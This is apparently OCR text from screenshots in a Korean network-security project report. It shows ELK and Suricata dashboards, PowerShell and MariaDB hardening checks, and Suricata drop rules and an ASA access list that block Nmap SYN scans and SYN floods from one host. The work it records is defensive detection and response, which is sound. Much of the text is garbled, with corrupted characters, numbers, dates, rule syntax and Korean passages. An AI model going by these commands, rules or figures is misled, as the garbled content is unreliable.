4 host.containerized

agent.hostnane chang;

el host. oz codenzne &1
20570 me Rocky Linux host.os.platfora e Log.File.path /var/log.

otinestamp

ebeat agent. version

ostnane chang

8.0.0 host.architecture
- o
host.os.nase focky Lin:

> Empty folds o547

> Metatiols 4

hug 9, 2025 € 06:41:30.060  erimestanp

5.962 agent.epheneral_id
host. hostnane changnoo host. id abase
host.os.name Rocky Linus host.os.platfora 7o

= agent.version §.19.3 eca.version 6.6.0 host.architecture x95.
host. os.kernel 5
Ja0n Tog.offset 42,620,107 nessage

& host.containerized

host.mac

. o0 host.o¢.codenane L
strean log.file.device id Tog/surs

o e host. o, fanily re
62 log.file.path /var/log e

Filebeat Discover
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&3 SER

iac dbHl M
category +124

h

M=t category HEE
DBolA Zel

1. category: Metowork

h 4

DEM M device_type
HE SO HE

Y

device _name 414

HEfSE device2} host|
=g 2E 4

2. category: Server

¥

DBEMIM host HE
2 HE

¥

host +E§
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XI=3} DB

.. 5 uswl | @ menl | = @ et
V0 BN (@RS,
s08 PN netvork
suideine
L3 o zangy (v Hy (42 ][50 841l w1 11EM 1)
ot
Sk > - | Desw | was s v iz -
i 2l2E)
ac deice: typey idevice name g location e Weemame o password
30z
Lo [T —— Area0(co)
B fower  commeol  Awa0(c)
B34 serer Roter  coazr0l  wea0(co)
- informaton schema fower  oasr2  mea0(co)
-3 mysa Roter  coardr0l w0 (o)
O e #s mnips Area 1K)
B3 soar fouer  mnre2 Al
o 5w 0s mnids Area )
0 510 Switch  masw0L  Areal(uN)
o 10 1 Grmn oo A
0 u0 Switch  mosw0d  Areal(uN)
&) 20 [ree ey
o 110 e anc0l w2
o 0 Roer  brarol w2
o 1510 Roer  peantol A3
o 110 Rouer  adamre w3
o f foer  wrol aeas
o 1810 Roer  pramrol  Awas
o 19 208 °s pips w2 (T)
o 2w Rouer  prroy P2 1)
o a0 fouter 2 P2 (1)
o 2w Rouer  prr0s P2 1)
o 2w Router 4 P2 (1)
& w0 Swrch  prawol  RP2E
o 50 Sutch  pswe  RP2ET
t_ Oesu  waeze Eun @ -
v > > | DeRwl | A [ v z 7
e gr
php NEEE I >
- . Wi E [se 4 E S usel @ omedl sapy

0~ 228 BAI S (123, Mol A2 00002 %)

408 SELEQT + FRON s
suideline
Ao

#9 host

O memuy (o2 w9 (21 (soL 2] ( :

%) performance_schema

ubunta
rocky
uountu
rocky

ubunt

021 234 el

X}I=3} DB EH|o|&

userame _ password

e 4%

device_name _ location
habackip  ha
hqdb ha
haiscsi ha
hamail ha
brafs br
briscs br
branss  br
brues br
brdb br
brsearch br
amdnsim)
dmhoproy  6m
amwebt  dm
dmweb2  dm
ammail  am
dmwebhard  dm
mnelk m
mndb mn
mocati mn
o
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. set turneling
set ospf redistribute

Setting OSPF]

TASK [Gathering Facts] ***
ok: [18 ]

Enter ip into interface]

F Settings]

OSPF neighbor Registration]
]
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KF
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K-

BAE D
multi_host
B S
call_meth
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v

Fd #Ha
ThreadPoolExecutor

A4y
get_category

h J

is_safe-false

Hal o B 2=
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=
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= e
call_meth
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L) M4 Za pB

H4d dn

[J g?Edit FeCopy @ Delete 5 2025-08-09 W 65 powershell "(Get-Service Telnet -EA SilentlyCo True 1 3
[0 /Edit %tCopy @ Delete 5 2025-08-09 W_66 powershell "Get-ltemProperty -Path 'HKLM:\SOFTWARE... 0 0
[J g7 Edit 3eCopy @ Delete 5 2025-08-09 W_67 powershell "Get-ltemProperty -Path 'HKLM:\SOFTWARE... il 0
[J gPEdit 3Copy @ Deleste 5 2025-08-09 W_68 powershell -Command "Get-ScheduledTask | 1 3
O PEdit $£Copy @Delete 5 2025-08-09 W 69 powershell -Command "Get-WinEvent -ListLog Applica... 0 0
[0 g7Edit 3¢Copy @ Delete 5 2025-08-09 W_70 powershell -Command "SisSafe=S$truesforeach(Slin .. SAFE_LOGS 1 3
O PEdit $Copy @Delete 5 2025-0809 W 71 powarshell -Command "Get-Acl 'C:\Windows\System32\... 1 3
IdentityReference : NT AUTHORITY\Authenticated...
[0 g Edit FcCopy @ Delete 5 2025-08-09 W_72 powershell -Command "$Tcpip=Get-ltemProperty HKLM:... UNSAFE 1 3
O 7Edit $Copy @ Delete 5 2025-08-09 W 73 powershell -Command "$val={Get-ltemProperty HKLM:\... UNSAFE 1 3
O &7 Edit }E Copy @ Delete 5 2025-08-09 W_T74 powershell -Command \,"$r="HKLM:\\SOFTWARE\\Policie... ="HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows NT... 1 3
O & Edit % Copy @ Delete 5 2025-08-09 W_75 powershell -Command \"$r="HKLM:\\SOF TWARE\\Microso... ="HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVers... 1 3
[J g7 Edit 3¢Copy @ Delete 5 2025-08-09 W_76 powershell -Command "$bp="C:\Users';5e=@('All User... 0 0
O & Edit ¥ Copy @ Delete 5 2025-08-09 W_T7 powershell -Command \"$r="HKLM:\\SYSTEM\\CurrentCo... ="HKLM:\\SYSTEM'\CurrentControlSet\\Control\\Lsa";... 1
[J 7 Edit 3¢Copy @ Delete 5 2025-08-09 W_78 powershell -Command "$r="HKLM:\\SYSTEM\\CurrentCo... ="HKLM:\\SYSTEM"\CurrentControlSet\\Services\\Netl... 1 3
o Y
o HateR AlZst
v x x = = x
€ Cc AFALT M2 /db/?date=2025-08-09 k4 ®  M22 Chrome A2

FNE ¥H I

10} M [2025-08-03 O

#et
ofse

SELECT user_host, event_time FROM mysql.general_log WHERE command_type ='Connect O

User: guideline, Last Login: NEVER LOGGED IN User: root, Last Login: NEVER LOGGED IN Us. 3|

2

D_03 SHOW VARIABLES LIKE 'simple_password_check%'; SHOW VARIABLES LIKE 'default_passw Simple Password Check Settings: default_password_ifetime: 0 Expired users: mariadb.sys@Ioc. B 0
D_04 SELECT user, host, Grant_priv FROM mysql.user WHERE Grant_priv ="Y" AND user NOT IN (. Users with ALL PRIVILEGES (excluding root & mysal): rulesadmin@% - Grant_priv=Y Non-root/. B 0
D_05 SELECT user, host FROM mysgl.user WHERE host = %', Users with host =% guideline@% root@% rulesadmin@Y% ruleset@% Users with wildcard host... (e} 0
D_06 SELECT DISTINCT grantee FROM information_schema schema_privileges WHERE table_sche No general users have access to system tables. Safe. s 3
D_10 SELECT VERSION(); SELECT @@version_comment; Version: 10.5.27-MariaDB Version Comment: MariaDB Server MariaDB version is outdated. Rec 3er 0
D_t1 SHOW GLOBAL VARIABLES LIKE 'server_audit%’; SELECT @@version_comment DBMS Version Comment: MariaDB Server [?? -1] Audit logging is OFF (?2 2: ) Audit mode is set slor 1
D_13 SELECT user_host FROM mysgl.general_log WHERE command_type = "Connect 2929992 92 9292 2292 9272 s 3
D_19 SELECT PLUGIN_NAME, PLUGIN_STATUS FROM INFORMATION_SCHEMA PLUGINS WHE 2 simple_password_check 22272 2222 72 7222 3 0

I"-lEtB:'LDE HI° ":' DEFault.
NetBios HI2IE! Default.
HA 22 2oba F o

- I L

FTP MH| A Anonymous ¢!

Ab @3 oty oS

L= e
I_r.lsi

$lot THs A
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Tk s

C:\Users\TJ\Desktop\ba\guideline> & C:\Users\TI\AppData\lLocal\Microsoft\WindowsApps\python3.13.exe c:/Users/T]/Desktop/ba/guideline/module/Unix.py

spool/mail/testuser

o I o = _I.OI I = H"I.h *IOFX-I C
11'iE!() g Igo| Exjst= FU+H ZE! L!
*IOI:FI HA X *|o|:x-| HA S
T g 7 d d T =10 7 lj 2
P T A late content  comman resul is_saf score
jiersy Yid date content  command result e score U - s 2 il % i “
O £28 ¥ @A 2025:08-06|U_06  find /home /var /opt /tmp -xdev -nouser -print /var/spool/mailtestuser 0 0 o - 2025080610.06__findJhome var opt tmp sdev mouser s ’ °
& 3 020t o usonar|u_osxIndMomelor gt s nousr pri W i g i
+ ’ day g e MWL @M i
. - o s w ° 8
2597 | wohs |25 v YEEHY ‘
LEE-ERLE L
LLE-E R L]
3 3 f st u L HEEN Ry "
=] 3¢ Bu=col MAs i, *
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L) kibanaE® 8%t ZEIE2M

& elastic
B oo Check out comext-aware Discover © | Try ES|aL | Inspect  Alerts + B )

Dataview logstash-suricata = @  Q Filter your data using KQL syntax B v Last 60 minutes 1) Refresh

Autointerval ~  No breakdown

Q Search field names =0
v Available fields 62

B @timestamp

t] @version

agent.ephemeral_id Augus

©) agentid Aug 8, 2025 @ 19:23:57.051 - Aug 8, 2025 ® 202357051 (nterval: Auto - minute)

©) agentname

t] agenttype ) _Documents (15,206) ~ Field statistics L sortfielss 1 Q E =

7] agentversion @timestamp U summary

¥) alertaction . hug s, 2025 € 20 Gtinestamp Aug 8, 2025 & 11,503 eversion 1 agent.ephemeral id e361ae3d-5aef-43 agent. id 7 cf6e18f agent.name localhost.localdomai

i T P st type Fusbest agent.version 9.1.0 alert.action alloned alort.category Attenpted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature Possible bos Attack T
alert.category yPe : S flood alert.signature_id 6,999,995 dest_ip (SR IP)dest_port €0 direction to_server dst_ip (HWalR IP)dst_port 80 ecs.version 8.9.0 event.original { timestamp’:'2025-98-88T20.

Dt . Aug 8, 2025 @ : timestamp Aug 8, 2625 © 20:20:11.503 @version 1 agent.ephemeral_id e361ae3d-5aef-43 agent.id 7 cf6e18f agent.name localhost.localdomai

#) slertrev n agent.type filebeat agent.version 9.1.0 alert.action allowed alert.category Attempted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature Possible DoS Attack T

) alert severity ype : SYN flood alert.signature_id 6,999,965 dest_ip (WolXHP) dest_port 8 direction to_server dst_ip (WAIXHP) dst_port 80 ecs.version 8.0.0 event.original {"timestamp’:'2625-88-05T20.

i) slertsignacure o g 8, 2025 etinestanp Aug 8, 2025 € 11.563 @version 1 agent.ephemeral id e361ae3d-5aef-43 agent. id 7 cf6e18f agent.name localhost.localdonal

n agen( type filebeat agent version 9.1.0 alert.action allowed alert.category Attenpted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature ossible DoS Attack T
#) alert.signatureid ype : SYN flood alert.signature_id 6,999,995 dest_ip (TaR IP)dest_port 89 direction to_server dst_ip (ol IP) dst_port 80 ecs.version 8.0.0 event.original {"timestamp’:'2625-88-08T20.
t] destip «* Aug 8, 2025 @ @timestamp Aug 8, 2025 € :11.563 @version 1 agent.ephemeral_id e361ae3d-5aef-43 agent.id 7- cf6e18f agent.name localhost.localdomai

n agent.type filebeat agent version 9.1.0 alert.action allowed alert.category (empty) alert.gid 1 alert.rev 1 alert.severity 3 alert.signature -Pn_scan Detected alert.signature_id 6,8

#) dest_port
o) etin 39,911 dest_ip 19.2.6.2 dest_port 89 direction to_server dst_ip (HalXHP) dst_port 89 ecs.version 8.2.0 event.original {"timestamp”:'2825-06-88T20:20:07.814607+8900" , "f low_1d" :20913356...
) st o g 8, 2025 ©tinestanp Aug 8, 2025 € 20:20:11.503 Gversion 1 agent.ephemeral id e361ac3d-5aef-43 agent.id egbe: 7 cf6e18f agent.name localhost.localdona
° n agent.type filebeat agent.version 9.1.3 alert.action allowed alert.category Attempted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature Possible DoS Attack T
dstport ype : SYN flood alert.signature_id 6,999,985 dest_ip (HaXtIP)dest_port 82 direction to_server dst_ip (WalRtIP)dst_port 8 ecs.version 8.0.0 event.original {"timestamp’:’2025-98-28T20.
©] ecs.version g 8, 2025 € ©timestamp Aug 8, 2025 @ 20:20:11.503 @version 1 agent.ephemeral id e361ac3d-5aef-43 agent.id 7 cf6e18f agent.name localhost.localdomat
1] cventrype n agent.type filebeat agent.version 9.1.8 alert.action allowed alert.category Attempted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature Possible DoS Attack T
. ype : SYN flood alert.signature_id 6,999,985 dest_ip (Ha*hP) dest_port 80 direction to_server dst_ip (HaXP) dst_port 8 ecs.version 8.9.6 event.original {"timestamp”:'2025-88-88T20.
©] event.original
o g 8, 2025 ©timestamp Aug 8, 2025 € 20:20:11.503 @version 1 agent.ephemeral id e361ac3d-5aef-43 agent. id egbe: 7 cf6e18f agent.name localhost.localdona
#) fiow Id n agent.type filebeat agent.version 9.1.2 alert.action allowed alert.category Attempted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature Possible DoS Attack T
) flow.bytes_toclient e ype : SYN flood alert.signature_id 6,999,985 dest_ip (WX IP) dest_port 8 direction to_server dst_ip (HaiRtIP)dst_port 80 ecs.version 8.0.0 event.original {"timestamp’:'2025-98-88T20.
7 flowbytes_toserver o g 8, 2025 € @timestamp Aug 8, 2025 € 20:20:11.503 @version 1 agent.ephemeral_id e361ac3d-5aef-43 agent. id 7 cf6e18f agent.name localhost.localdona

n agent.type filebeat agent.version 9.1.0 alert.action allowed alert.category Attempted Denial of Service alert.gid 1 alert.rev 1 alert.severity 2 alert.signature Possible DoS Attack T

B Add a field Rows per page: 100 v 123 45>

1. Logstash& &dll SuricataZ} ©X|St 32 {RAS HAIZUH2E =Qsln &
2. AMZICHE 2 O[HIEZ} wMst SI+=E ofrf J2j=2 HojF0 SHAFES
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) 0jo O

) Of

SOAR Z270| A

o
= =
MEAZ 07 FUS HAY £ s

) 0jo O

alo of

40| ASAS HOM S0{2E T =tel (pset IDS Ato[2] T 3l)

A standard input0iAf Z2X{ B [R1 FastEthemet0/0 to ASAV-1 Ethemet1] - %
oeE Be 2w 0S©@ ZHO 24n SAg Ty Riw S0 ST

g e RE R e s Eaa_¥H
(eep. R <)+
No Time Source Destination Protocol Lengt Info ~
42789 2025-05-08 19:46:40.057621 172.16.15.65 T 60 54507 ~ 80 [sYN]
4279 2025-63-08 19:46:40.057621 172.16.15.65 TP 60 54508 ~ 80 [SYN] Seq-0 i
42791 2025-63-08 19:46:40.057621 172.16.15.65 TP 60 54505 ~ 80 [sY11]
42792 2025-63-08 19:46:40.057621 172.16.15.65 T T 60 54510 + 80 [s]
42793 2025-63-08 19:46:40.057621 172.16.15.65 T 60 54511 + 80 [s]
42794 2025-05-08 19:46:40.058116 172.16.15.65 T 60 54912 + 80 [SYN]
42795 2025-63-08 19:45:40.058116 172.16.15.65 . e 60 54913 + 80 [S]
42796 2025-63-08 19:46:40.058116 172.16.15.65 T 60 54514 + 80 [s]
42797 2025-63-08 19:46:40.058116 172.16.15.65 T 60 54515 + 80 [s]
42798 2025-63-08 19:45:40.058621 172.16.15.65 T 60 54916 ~ 80 [sYN]

ACK]

=

= g
=

Frame 3312: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits) on interface -, id 0
Ethernet IT, Src: ca:01:66:3c:00:00 (ca:01:66:9c:00:08), Dst: VMware_83:8e:dc (00:0c:29:83:8e:dc)
Internet Protocol Version 4, Src: ( Z|5{X} |p ) Dst: 172.16.10.1

Transmission Control Protocol, Src Port: 22, Dst Port: 64857, Seq: 1, Ack: 1, Len: 112

SSH Protocol

© Z  Tansmission Control Protocol: Protocol T3 46720 T§ ZAIE: 15138(32.4%) Z2T: Default
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T 11463, "dest_
ert”:{"action’ = 55905, " ssible DoS A
"33 "direction” ' : - ient":8, "bytes_toserv

77881+6988", "src_ip": "172. (66", _ip":"(H s 11463, “dest_po
:374619470817662, " in_iface’ ' v 172.16.1 11464, "dest_
535985, "si ssible DoS A
i ,"bytes_tosery

_sT
"category: "Attempted Demal of Service
'20625-08-BOT19:46:41. e.??aqsoaaaa","srn_ip'

“f low_id":374830685847279,"

g ”ﬁttempted Denial of Service", seuerlty :
19:46 278%6+8988 ", "src_ip

‘category”:"”, "severity' 133, "direction”
:41.677896+6988", "src_i
: ?4313131733353,”nLifm:e'
uire/poap”, "alert”: t"action”:
i "direction’
72.16.15.66

1462, "dest_

: ssible DoS A

ttempted Denial of Service”,“severi ion": "to_; "f low": { _ _tocli "bytes_tosery
+":"2025-08-8BT19:46:41.676910:908", "src_ip": i

:1468, "dest_

ssible DoS A

,"bytes_toserv

"11467, "dest_
: ssible DoS A
ttempte(l ])enml of Service”,"seve 3, "direction":"to_: T low": { 1 i1, _toclient":8, "bytes_tosery
72025 B8-BBT19 116 111,677 15246908 " "arc. 1 72.16 i :
11469, "dest _
s P ssible DoS A
[ttack Type : " “:"Attempted Denial of Service” i irection”: "to_ ow' 1 _tocli "bytes_tosery
er"':68, "hytes _toclient”:8, "start™:"2825-80-BOT19 46 141 6772118988 " ;"arc p' i
: _if. _ ':1478, "dest_
Caction id":1,"si : i1, vsi ssible DoS A
[ttack Type : X ttempte(l Denial of Service”,“severity”:2},"direction’ "f low": {"pkts_toserver pkts_toclient”:8, "bytes_tosery
er”:68, "bytes_toclient”:8, "start”:"2825-88-88T19:46:41.677328+8988" , "src_ip”: "172.16.15. _ip":"(HAR )", "src_port”: 1473,"4est,pnrt”:am}

|I1M-I-IO| SYN Flood .-_7:1 EEH‘""E El-x|°|._|_ An 2O Aollg

Filebeat 7} E1& FYAMARCE ME

r

fug B8 1 51 27 localhost.localdomain fllEl)Eﬂt[lEﬂ?] {"log.level™:"info", "Bt imestamp":

unction . i i i ) .logSnapshot”,"file.
i i 'f ilebeat", "monitoring metrics”:{"beat

:1888%, "total": i :2788," ! H i H handles":

aef -4312-993c-d5bBbbc43ea”, i

3643521, "runt.ime

utput”: {"events": : :

9999974, "p99": 25314, "p99 N B85 .A944837298663 33}, "pipeline’

max_bytes":@, "max_events":320031}, "registrar”: {"states" : {"current"”:83}, "system"

:54:57 localhost.localdomain filebeatl[15471: {"log.level":"info","@timestamp :54:57. . " ing" g.origin
github. l:um/elas u:/beats/u?/]1bbeat/momtor1ng/r'epur't/lug (=reporter). logSnapshot ile. . ile.li on-zero metri

B B *:1, "running”
tency': { lllstugram H H " H 3 2575?23484
B85.8944837298663 333,

info","Btimestamp”:
)

125314, StddEU" 7885 'p ne o " {"active":83, "queue":
28831}, "registrar @8.88,"15" .

.B4,"15":0.085,

Filebeat= SuricataOllA{ ZAist XQ &X| 21E 43X
X

ELK AEH(Elasticsearch, Logstash, Kibana)2 2 H
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[+] 172.16.15.66 AtEt & acLOll =7t 248
¥ E OIS /etc/suricata/rules/local.rules O] H& 248
O Suricata X AIZH 248 :

DB XZ 2F: 172.16.15.66 / Nmap SYN Scan Detected / H8jX} IP @ 2025-88-088 19:41:41.27063

0|0| qutsideOll A A&t
0|0] qutsideOll A AFEt
0|0| qutsideOflA AFEt
. .66 = 00| outsidedilM At
¥ & 2 /etc/suricata/rules/local.rules Ol H& 242
& suricata MA|E 243

=l @
el on

J

¥ oe AE
Mo ME §
¥ og AE

IN]

/ Nmap SYN Scan Detected / HI8I%} IP @ 2025-@ 19:41:47.942718

/ Possible DoS Attack Type : SYN flood / I&fX} IP @ 2025-88-88 19:41:47.948167
66 / -Pn_scan Detected / H&Xt 1P @ 2025-083-8

/ SYN Scan or SYN Flood Detected / m&j|x} Ip

NI N

outsideOi| A AHEH
0|0| outsideOflA ApEt
0|0| outsideOflA ApEt
0|0| outsideOflA ApEt
/suricata/rules/local.rules O H& 228
B suricata MAIE 22

I~

Boe ME 248 1 / Nmap SYN Scan Detected / HsfA} 1P @ 2025-088-88 19:41 6477
¥ o A& 1721 / Possible DoS Attack Type : SYN flood / &%} IP @
66 / -Pn_scan Detected / HajXt IP @ 2025-03-08
15.66 / SYN Scan or SYN Flood Detected / HaiA} 1P

Suricata®| EX| ZIE 7|dte
Elastic 21 S 34 IP 4

AESID, ASA stHof CHsh XM HM HEF AL
IS EA YUHIOIE 1Y = DB 7|8

IPS RULE X2

drop top 172.16.15.66 any -> THIP)any (msg:"Nmap SYN Scan Detected”: flags: S: threshold: type limit, track by src, count 18, seconds 1: sid:6849918: rev:l:
)

drop tcp 172.16.15.66 any -> ( D31 IP Jany (msg:"Possible DoS Attack Type : SYN flood"”: flags: S: classtype: attempted-dos: detection_filter: track by_dst, count
28, seconds 18; sid:6999911: rev:1:)

drop tcp 172.16.15.66 any -> 1pyany (msg:"-Pn_scan Detected”; flags: S: flow: stateless: threshold: type threshold, track by_src, count 18, seconds 38: si
d:6839912; rev:l;)

drop tcp 172.16.15.66 any -> any any (msg:"SYN Scan or SYN Flood Detected”: flags: S: threshold: type both, track by src, count 588, seconds 3: sid:6839913: rev
H )
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ASA Xtch

ASAU1# sh access-1list BLOCEK_OUTSIDE

access—list BLOCK_OUTSIDE: 2 elements; name hash: Bx52d75cf?2

access—list BLOCH_OUTSIDE line 1 extended deny ip host 172.16.15.66 any (hitcnt=
A) Bxb8228d1b

accezs—list BLOCKE_OUTSIDE line 2 extended permit ip any any (hitcnt=HB) HBxa7Hc3ba

6
ASAU1#
ASAU1#
ASAULE _

SOAR Mg 7|¥%og, 3% IP & XIEHshs ACL 74 %7

ME2 23
ME2 23
Mz2g 23
HeEd | E3: success

SUCCess

[& AtEHE] -
M2 23
M2 22

HEHI <=ty

rule family="1ipv4" source addres

ME wale xjch gol




2N Hz FN-002
>3 2025-08-11
HIOIXI 61/ 91

A standard inputo1Af X 3 [R1 FastEthemet0/0 to ASAV-1 Ethemet1] - x
mEE BI® I OS@ THO BH@ SAG MY PHW SR0 =8
[ ® R { = ea=Eaaq
([ftep )+
No. Time Source Destination Protocol Lengtt Info ”~
55689 2025-06-08 19:53:08.915554 172.16.17.071 e 1190 36126 > 5644 [PSH, ACK] Seq=930 Ack-1 Win=64256 Len=1124 TSval-401331862 TSecr=1634690165
55390 2025-08-05 19:53:08.917055 172.16.17-171 g e 66 5044 > 36126 [ACK] 4256 Len=0 TSval=1634690227 TSecr=401331851
55891 2025-08-05 19:53:08.917055 172.16.17.171 e 66 5044 > 36126 [ACK]
55892 2025-08-05 19:53:08.931175 Taie.17.1m e 1434 36126 > 5044 [ACK]
55893 2025-08-05 19:53:08.931175 172.16.17.171 e 1434 36125 » 5044 [PSH,
55804 2025-08-08 19:53:08.931175 | M &l A 172.16.17.171 Tcp 1434 36126 > 5644 [ACK]
55695 2025-06-65 19:53:08.931175 | A] H] 172.16.17.171 e 1434 36126 » 5044 [PSH,
55896 2025-08-05 19:53:08.931175 172.16.17.171 e 1434 36126 » 5044 [ACK] Seq=7526 Ack=L Win=64256 Len-1365 TSval=401331900 TSecr=1634690165
55897 2025-08-05 19:53:08.931175 172.16.17.171 e 1434 36126 > 5044 [PSH, ACK] Se 4256 Len=1368 T5val-401331900 TSecr=1634690165
55395 2025-08-05 19:53:08.931175 172.16.17.171 e 1434 36126 > 5044 [ACK] Seq-10262 Ack=1 Win=64256 Len=1365 T5val=401331900 TSecr=1634690165
55399 2025-08-05 19:53:08.931175 | _ 172.16.17.171 T 1434 36125 » 5044 [PSH,
55900 2025-08-05 19:53:06.932175 172.16.17.171 e 66 5044 > 36126 [ACK]
55901 2025-08-05 19:53:08.932675 172.16.17.171 e 66 5044 > 36126 [ACK]
55902 2025-05-05 19:53:06.932675 172.16.17.171 e 66 5044 > 36126 [ACK]
55903 2025-08-05 19:53:08.932675 172.16.17.171 T o e 66 5044 > 36126 [ACK]
55904 2025-08-08 19:53:08.932675 172.16.17.171 o e 66 5044 > 36126 [ACK]
55905 2025-08-08 19:53:08.932675 172.16.17.171 e 66 5044 > 36126 [ACK]
55906 2025-05-08 19:53:05.932675 172.16.17.171 T 66 5644 > 36126 [ACK]
55307 2025-08-08 19:53:08.932675 172.16.17.171 e 66 5044 > 36126 [ACK]
55905 2025-08-05 19:53:05.950700 172.16.17.171 e 72 5044 > 36126 [PSH,
55909 2025-05-05 19:53:03.950700 e 72 5044 > 36126 [PSH,
55910 2025-08-05 19:53:08.977520 T2.16.17.171 T 1434 36126 » 5044 [ACK] Seq=12998 Ack=1 i
55911 2025-08-08 19:53:08.977520 | W & A 172.16.17.171 Tcp 1434 36126 > 5044 [PSH, ACK] Seq=14366 Ack=1 Win=64256 Le 01331942 TSecr=1634690227
55912 2025-06-05 19:53:08.977520 | A] B 172.16.17.171 e 1434 36126 » 5044 [ACK] Seq=15734 Ack=1 Win=64256 Len=1365 TSval=401331942 TSecr=1634690227
55913 2025-08-05 19:53:03.977520 172.16.17.171 e 1434 36125 » 5044 [PSH, 7102 Ack=1 Win=64256 L 1942 Tsecr=1634690227
55914 2025-08-05 19:53:03.993040 172.16.17.171 e 1434 36126 > 5044 [ACK] 4256 Len=1363 TSval=401331958 TSecr=1634690242
55915 2025-03-05 172.16.17.171 e 1434 36126 > 5044 [PSH, 368 TSval-401331955 TSecr=1634690262 v
< >
Frane 55915: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) on interface -, id 0 00 oc 29 83 8e dc ca 01 66 9c 00 00 08 00 45 60 ~
Ethernet IT, Src: ca:01:66:9c:00:00 (ca:01:66:9c:00:00), Dst: VMware 83:8e:dc (00:0c:29:83:8e+dc) 05 Bc 53 04 40 60 3 06 1b 97 0b 14 00 02 ac 10

Internet Protocol Version 4, Src: HolAt MM, Dst: 172.16.17.171
Transmission Control Protocol, Src Port: 36126, Dt Port: 5044, Seq: 19838, Ack: 1, Len: 1363
Detal(izealbytes)] 3 7b d7 91 75 39 8b 64 73 4 2F a4 <7 FF 80 <@

a3 de bb le 51 8b cl co 43 35 ae af dd 9d 71 6d

b dc b9 c6 95 ad 9 e7 6d 3 b6 76 a5 75 €9 bd mou
4d b2 2e 52 5 54 0F aa 91 a8 el 7d 9c 93 fe b8 M-.ZT }
7 bd 2a 47 8b ef 63 8d 6b 5c 79 10 4f af ed ae G- -c- k\y-0
6a 4b 0d 1a 29 95 94 06 &c 86 b6 39 95 @ 93 45 3K ) 9

le 353892 1a 6c 99 53 410d 7a 18 a4 ab 41 %b 58-S Az A
717d fdSae2da b 20 1f624e cod37da® 77 qpZo{ b}w
8

98127 2f 78 72 a8 f1 dd 38 cb 0a Oe b7 20 d3  --'/xr
8b ac 3c 4c 4c Gb 0d 65 e5 %a a8 be cc 62 d1 17 - <Llke b
ad cd a7 d2 ba 65 31 34 85 92 12 2 19 cb 39 <5 e1a B

€180 4410791545 a0 Bc 12 6aa@ 2d db @3 cb Dy H M
€239 c531€2298 10 391568 cd 300 d39a 91) - 9h
25 ac 67 24 6f 71 aa 72 00 d9 OF 74 1b 4a 87 cf %-0$.qr - t]

7 Wansmission Control Protocol: Protocol T2 123155 7§ EAIE: 21507(17.5%) SET: Default

ASA M8 = Wireshark T2 2QIA| ZHX} IP 7} HQIE|X| 22

ASA Bzt Kithofix|

MER 2
M2 2
[+] 172.1
M2 2
MER 2
M2 2
NMEE =
[+] 172.1
M= =
M2 2

[

ne
ox
=
r
o
A

r
-
rg
ot
——
on
5
=2

[m |
—
rot
2t
rn

to| XS5l A

ASAV1# sh access-list BLOCK_OUTSIDE
access—-list BLOCE OUTSIDE; 1 elements; name hash: Bx52d75cf?

access—-1list BLOCE_OUTSIDE line 1 extended permit ip any any (hitcnt=8) Bxa78c36a
6

H™E AZo| X|Lt x| RS2 2 SYH|E|ACHE HE =l

=




FN-002

2025-08-11

62 / 91

A standard input0l A ZA F [R1 Fastethemet0/O to ASAV-1 Ethemeti]

nYE BYE 2 OS5©@ THO E4@ T PHW EFO SSEW
mge RE § &= &8 QQ Q [
([tep BES )+
No Destination protocol Lengtt 2
5 TP 54, » ACK] Seq=1 Ack=L Win
2025-05-05 20:20:07.951205 54 50 > 1141 , ACK] Seq=1 Ack=L Win
137902 2025-03-05 20 957711 172.16.15.66 60 13724 > 50 [SYN] Seq=0 Win=512 Len-0
137903 2025-03-05 20:20:07.957711 172.15.15.65 TP 60 13725 > 80 [SYN] Seq=0 Win=512 Len=0
137904 2025-03-05 20:20:07.957711 172.15.15.66 e 60 13726 > 50 [sYN]
137905 2025-03-05 20:20:07.957711 172.15.15.65 R 60 13727 > 50 [sv]
137906 2025-03-05 20:20:07.955206 172.15.15.66 Sty e 60 13728 > 50 [sY]
137907 2025-03-05 20:20:07.955206 172.15.15.66 T 60 13729 > 80 [SYN] Seq=0 Win=512 Len=0
137908 2025-05-08 20:20:07.956206 172.16.15.66 Sl e 66 13730 > 80 [SYN] Seq=0 Win=512 Len=0
137909 2025-03-05 20:20:07.955206 172.15.15.65 e 60 13731 > 80 [SYN] Seq=0 Win
137910 2025-03-05 20:20:07.955206 172.15.15.66 e 60 13732 > 0 [sYN]
137911 2025-03-05 20:20:07.955206 172.15.15.66 s0 [sw]
137912 2025-03-05 20:20:07.955206 172.15.15.65 [sw]
137913 2025-03-05 20 955206 172.16.15.66 [sv)
4 2025 7 T I
915 2025-05-05 20:20:07.9977. [RST,
157916 2025-03-05 20 002215 172.16.15.66 50
002714 172.16.15.66 [sv)
15 e - I
016216 172.16.15.66
016216 172.16.15.66 Seq=0 Win=512 Len=0
1565 Seq=0 iin
v
< >
Frame 55912: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) on interface -, id 0 o000 [ S edccaol esoceococaooasco M  f € 5
Ethernet IT, Src: ca:01:66:9¢:00:00 (ca:01:66:9¢:00:00), Dst: Viware 83:8e:dc (00:0c:29:83:8erdc) S 5c 53 01 40 00 30 06 1b 92 6b 14 68 02 ac 10 56>
Internet Protocol Version 4, Src: Hol% ¥ , Dst: 172.16.17.171 1 ;: Ej ;E ; gg Z: x éi 37 ?: 2; 52 fz 5? ;0 (!
o1 %6 e 2 17 eb ds e 20
Transmission Control Protocol, Src Port: 36126, Dst Port: 5044, Seq: 15734, Ack: 1, Len: 1368 e e e e e e e
Dataf(r3esloytes) 70 5b 14 67 6 fa 5b 5f e6 3a 2b 5e 25 11 cc 3 pl g [_ %
26 45 81 09 Be Oc 25 47 41 54 d3 c4 4d c3 33 E (G AT M3
3b e 45 ce ae 74 22 a0 bF 2d 83 d6 €8 6F 60 63 H t' -~ 0"
6202 4F c0 70 49 75 0F 3 b7 79 02 57 00 2a 36 - 0pIx- <y 6
€3 24 ee ec ¢6 F4 of b4 49 ca 2a al bf c7 73 & s1
